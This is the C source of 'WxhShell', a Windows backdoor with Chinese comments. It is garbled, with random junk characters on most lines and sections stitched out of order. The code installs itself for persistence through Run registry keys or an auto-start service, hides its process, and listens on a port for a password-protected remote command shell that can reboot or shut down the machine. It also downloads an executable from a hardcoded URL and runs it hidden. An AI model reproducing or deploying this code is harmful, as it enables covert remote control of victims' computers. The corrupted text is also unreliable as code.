DWORD PebBaseAddress; #[4Mw M3
DWORD AffinityMask; [RZ}9`V
DWORD BasePriority; 4 yk!T
ULONG UniqueProcessId; /~4wM#Yi8
ULONG InheritedFromUniqueProcessId; BIFuQ?j3
} PROCESS_BASIC_INFORMATION; nJdO~0}3
~JU
:a@)
PROCNTQSIP NtQueryInformationProcess; 4f}:)M$5
RR%[]M#_T
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <@Lw '
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =:|fN3nJ2
ylV.ZoY6
HANDLE hProcess; 8-A *Jc
PROCESS_BASIC_INFORMATION pbi; CdTyUl
qkM<t?uS
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #ny&bJj
if(NULL == hInst ) return 0; Ws+Zmpk%
]>K02SVT:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )2U#<v^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L$ nFRl&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vPVA^UPNV
97$1na3gq
if (!NtQueryInformationProcess) return 0; cY}Nr#%s@U
6Y#V;/gK!5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !k=>Wb8n2
if(!hProcess) return 0; :6^8Q,C1@
""j(wUp-W
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8?n6\cF
2MNAY%iT
CloseHandle(hProcess); )$#
Ku2X
n*4N%yI^m5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); if
S)
< t
if(hProcess==NULL) return 0; L@ b8,
\Ty%E<
HMODULE hMod; M5SAlj
char procName[255]; 9Q!X~L|\S
unsigned long cbNeeded; 7R$]BY=
''@upZBJ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IT`r&;5
2iUdTy$
CloseHandle(hProcess); R!v ?d2
aZe[Nos
if(strstr(procName,"services")) return 1; // 以服务启动 +sTZ)
5vQ
7VP[U,
return 0; // 注册表启动 Lv;R8^n
} "TWNit
k)2L<Lmn
// 主模块 9w-V +Nf
int StartWxhshell(LPSTR lpCmdLine) D@Zb|EI%<
{ DhQYjC[
SOCKET wsl; [6bK>w"v
BOOL val=TRUE; Q k`yK|(0=
int port=0; qlT'gUt=H
struct sockaddr_in door; &ZjQa.-U>
H8>u:
if(wscfg.ws_autoins) Install(); 6J|Ee1Ez
ZaCUc Px
port=atoi(lpCmdLine); D4:c)}
@K 8sNPK
if(port<=0) port=wscfg.ws_port; !l7eB@O
VQ{.Ls2`Z
WSADATA data; *k$ ":A
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -U6" Ce
''9FB5
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "z
`&xB
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |%F[.9Dp
door.sin_family = AF_INET; }gE?ms4$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); a@&^t( 1
door.sin_port = htons(port); /f!CX|U
*mQOW]x%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R@=Bk(h
closesocket(wsl); 4uUG0o
return 1; \W<r`t4v
} fP41B
Kt,ENbF
if(listen(wsl,2) == INVALID_SOCKET) { P:z 5/??2S
closesocket(wsl); i,=CnZCh
return 1; LoHL}1BG-
} Pv.z~~lY
Wxhshell(wsl); ?#F}mOVAa
WSACleanup(); L#'B-G4&y
,+0>p
return 0; Y'NQt?h
d#@N2
} p[*NekE6-
l\W[WQPh
// 以NT服务方式启动 K!q:A+]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h"S+8Y:1{k
{ \lVX~r4
DWORD status = 0; VWoxi$3v
DWORD specificError = 0xfffffff; s)q;{wz
jiPV ]aVN
serviceStatus.dwServiceType = SERVICE_WIN32; }e/P|7&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; &xF 2!t`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J[:3H6%`
serviceStatus.dwWin32ExitCode = 0; RVmD&
serviceStatus.dwServiceSpecificExitCode = 0; SSANt?\Z<
serviceStatus.dwCheckPoint = 0; j|f$:j
serviceStatus.dwWaitHint = 0; *yGOmi
]XEkQ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6aG/=fq
if (hServiceStatusHandle==0) return; oI9Jp`
XDvT#(Pu
status = GetLastError(); <tZPS`c'_
if (status!=NO_ERROR) irNGURLm
{ |9)Q =(
serviceStatus.dwCurrentState = SERVICE_STOPPED; }SHF
serviceStatus.dwCheckPoint = 0; %Uk]e5Hu
serviceStatus.dwWaitHint = 0; JHN35a+
serviceStatus.dwWin32ExitCode = status; LEMgRI`rf
serviceStatus.dwServiceSpecificExitCode = specificError; ?U]/4]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I(r ^q"
return; .$>?2|gRv
} q2}<n'o+
Qci<cVgP
serviceStatus.dwCurrentState = SERVICE_RUNNING; !7SZZz
serviceStatus.dwCheckPoint = 0; |2!/<%Yr`
serviceStatus.dwWaitHint = 0; p8F5b8]*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SGMLs'D
} *7hr3x
/ve8);cH\
// 处理NT服务事件,比如:启动、停止 7SE=otZ>
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?6@Y"5
z3g
{ .Ev i
switch(fdwControl) o>{+vwK
{ v/f&rK* >
case SERVICE_CONTROL_STOP: GYot5iLg
serviceStatus.dwWin32ExitCode = 0; Sg1$/+
serviceStatus.dwCurrentState = SERVICE_STOPPED; M?5[#0"&V
serviceStatus.dwCheckPoint = 0; `zAo IQ
serviceStatus.dwWaitHint = 0; CqDMq !
{ ulsr)Ik
SetServiceStatus(hServiceStatusHandle, &serviceStatus); eHG**@"X
} 0Ha1pqR
return; zw^jIg$
case SERVICE_CONTROL_PAUSE: <#ujm fD
serviceStatus.dwCurrentState = SERVICE_PAUSED; >4=sEj
break; Kd
CPt!
case SERVICE_CONTROL_CONTINUE:
L's_lC
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]>K%,}PS
break; LjjE(Yrv{
case SERVICE_CONTROL_INTERROGATE: *nD yB.(
break; `bO+3Y'5
}; r: n^U#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q%#dx4z&
} $Y][-8{t
nn$,|/
// 标准应用程序主函数 xtN%v0ZZ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )DuOo83n["
{ y1^<!I
swuW6p
// 获取操作系统版本 IZeWswz
OsIsNt=GetOsVer(); ? e%Pvy<i
GetModuleFileName(NULL,ExeFile,MAX_PATH); u!mUUFl
Aki8#
// 从命令行安装 LX4S}QXw
if(strpbrk(lpCmdLine,"iI")) Install(); XX~~SvSM
30g-J(Zg
// 下载执行文件 CD%wi:C%|
if(wscfg.ws_downexe) { r8+{HknB;
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $@[6j y
WinExec(wscfg.ws_filenam,SW_HIDE); fLAOA9
} U,Nf&g
F))+a&O
if(!OsIsNt) { (F~i
// 如果时win9x,隐藏进程并且设置为注册表启动 pUZe.S>G
HideProc(); V[Fzh\2n
StartWxhshell(lpCmdLine); >Rs:Fw|jro
} zS 18Kl
else =yOIP@
if(StartFromService()) [GZ%K`wx
// 以服务方式启动 rgdDkWLXC
StartServiceCtrlDispatcher(DispatchTable); ^KhA\MzY
else qYZX,
x
// 普通方式启动 5Y)*-JY1g
StartWxhshell(lpCmdLine); ([iMOE[D3
ZY +NKb_
return 0; [2~Et+r6g
} =K~<& l8
`] ;*k2
G+[hE|L~y
w_q{C>-cR
=========================================== L;H(I@p(e
".onev^(
+rfw)c'
5;oWFl
Zm!T4pL
ie{9zO<d
" lhva|
3|8\,fO?
#include <stdio.h> fI;6!M#
#include <string.h> Zsc710_
#include <windows.h> SwpS6
#include <winsock2.h> b=horvs/!
#include <winsvc.h> 5Jh=${
#include <urlmon.h> f/&gR5
"C&l7K;bp
#pragma comment (lib, "Ws2_32.lib") pca `nN!
#pragma comment (lib, "urlmon.lib") wO/}4>\
v\PqhI y"
#define MAX_USER 100 // 最大客户端连接数 pZUckQ
#define BUF_SOCK 200 // sock buffer ET;YAa*
#define KEY_BUFF 255 // 输入 buffer IWERn
v!
FY+0r67]
#define REBOOT 0 // 重启 0sM{yGu=,
#define SHUTDOWN 1 // 关机 "bZ%1)+
<]xGd!x$
#define DEF_PORT 5000 // 监听端口 fT.18{'>
AE? 0UVI
#define REG_LEN 16 // 注册表键长度 F9p'|-
#define SVC_LEN 80 // NT服务名长度 3cfW|J
t>"UenJt-
// 从dll定义API "c` $U]M%
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8'[g?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EKo!vieG
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L"{qF<@V7&
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q{~59{Fha
FFX-kS
// wxhshell配置信息 ^=`7]E [p
struct WSCFG { 9"hH2jc
int ws_port; // 监听端口 7.mY@
char ws_passstr[REG_LEN]; // 口令 {2 l35K=
int ws_autoins; // 安装标记, 1=yes 0=no _W]R|kYl$'
char ws_regname[REG_LEN]; // 注册表键名 '[(]62j
char ws_svcname[REG_LEN]; // 服务名 >L[n4x\
char ws_svcdisp[SVC_LEN]; // 服务显示名 ._'AJhU$0
char ws_svcdesc[SVC_LEN]; // 服务描述信息 hS&3D6Gt
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )N$T&
int ws_downexe; // 下载执行标记, 1=yes 0=no 8p D$/
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" San3^uX
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "i>?Tg^
4P(muOS
}; &?X0;,5)
JC6?*R
// default Wxhshell configuration Nl/^ga
struct WSCFG wscfg={DEF_PORT, R(p`H}^
"xuhuanlingzhe", D2}N6i
1, DR]=\HQ
"Wxhshell", y
buKwZFC
"Wxhshell", !UHWCJ<
<w
"WxhShell Service", k7,
"Wrsky Windows CmdShell Service", 9u[^9tL+D
"Please Input Your Password: ", <c'0-=
1, I;xSd.-
"http://www.wrsky.com/wxhshell.exe", 4# +i\H`
"Wxhshell.exe" T.d1?
}; xhcFZTj/(
|k.%e4
// 消息定义模块 kg&R
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _(7f0p
char *msg_ws_prompt="\n\r? for help\n\r#>"; /EP
RgRX
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a
gkw)#
char *msg_ws_ext="\n\rExit."; lKdd3W"o
char *msg_ws_end="\n\rQuit."; sdp3geBYo
char *msg_ws_boot="\n\rReboot..."; m&MAA^ I
char *msg_ws_poff="\n\rShutdown..."; ^cDHC^Wm
char *msg_ws_down="\n\rSave to "; jw5ldC>U
%eOO8^N
char *msg_ws_err="\n\rErr!"; iW%~>`tT
char *msg_ws_ok="\n\rOK!"; NHaY&\
Q{[l1:
char ExeFile[MAX_PATH]; gpw,bV
int nUser = 0; X
aE;i57$l
HANDLE handles[MAX_USER]; &J?:wC=E
int OsIsNt; 9Bao~(j/k
<N{wFvF
SERVICE_STATUS serviceStatus; MxgJ+
SERVICE_STATUS_HANDLE hServiceStatusHandle; x^zw1e,y
zC,c9b
// 函数声明 xyD2<?dGUb
int Install(void); h6b(FTC^
int Uninstall(void); q6PG=9d0B
int DownloadFile(char *sURL, SOCKET wsh); a[_IG-l|i4
int Boot(int flag); [XE\2Qa8e
void HideProc(void); Xp+lpVcJ
int GetOsVer(void); uv=a}U;
int Wxhshell(SOCKET wsl); 9OYyR
void TalkWithClient(void *cs); =PF2p'.o
int CmdShell(SOCKET sock); 1}_4C0h\'
int StartFromService(void); Jmuyd\?,b
int StartWxhshell(LPSTR lpCmdLine); pZcY[a
M5a&eO
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lc8g$Xw3
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fK^W6)uuV
jF@BWPtF=
// 数据结构和表定义 &,P; 7 R
SERVICE_TABLE_ENTRY DispatchTable[] = bvOnS0,y
{ 5sANF9o!
{wscfg.ws_svcname, NTServiceMain}, G^sx/H76J
{NULL, NULL} RFLfvD<
}; [Tl66Eyl
j1;<3)%0
// 自我安装 -{}h6r
int Install(void) ?fN6_x2e3
{ H:|.e)$i
char svExeFile[MAX_PATH]; O/U? Wq
HKEY key; L+S)hgUH
strcpy(svExeFile,ExeFile); t`="2$NO
Q6HghG
// 如果是win9x系统,修改注册表设为自启动 &09&;KJ
if(!OsIsNt) { wfv\xHG
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vV xw*\`<6
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ta:9wZ
RegCloseKey(key); otdRz<C
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $KQ q~|
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ttdY]+Fj
RegCloseKey(key); 2i0;b|-=
return 0; b*Q3j}c Z
} D;s%cL`
} pSb tm74
} oNIYO*[
else { PZQAlO,
^r-d.1
// 如果是NT以上系统,安装为系统服务 &l0K~7)b
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z.&/,UU:4
if (schSCManager!=0) /7])]vZ_
{ 0zA;%oP
SC_HANDLE schService = CreateService 8R%<~fq r
( Q=8YAiCu
schSCManager, n807?FORB
wscfg.ws_svcname, <{k`K[)
wscfg.ws_svcdisp, IA<>+NS
SERVICE_ALL_ACCESS, yuy\T(7BN
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O Bcz'f~
SERVICE_AUTO_START, 6lCpf1>6@
SERVICE_ERROR_NORMAL, PDPK|FU
svExeFile, :{N*Z }]
NULL, "b~C/-W I
NULL, Pc*lHoVL
NULL, ;-8.~Sm
NULL, 9DJ&J{2W
NULL -yB}(69
); |,@D<
if (schService!=0) *~g*J^R}
{ <!g]q1
CloseServiceHandle(schService); T 5Zh2Q@
CloseServiceHandle(schSCManager); AwXzI;F^
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W03mdRW
strcat(svExeFile,wscfg.ws_svcname); {j9TzR
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pJvPEKN
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XrM+DQ;
RegCloseKey(key); j&,Gv@
return 0; W M` 3QJb
} Ij7P-5=<
} =TDKU
CloseServiceHandle(schSCManager); >({qgzV`
} ,\J 8(,%L
} 2=- .@,6
ru@#s2
return 1; I)V=$r{
} lwq:0Rj@Q
I{OizBom
// 自我卸载 CdF;0A9.3
int Uninstall(void) z'm}p
{ l<w7
\a6
HKEY key; F<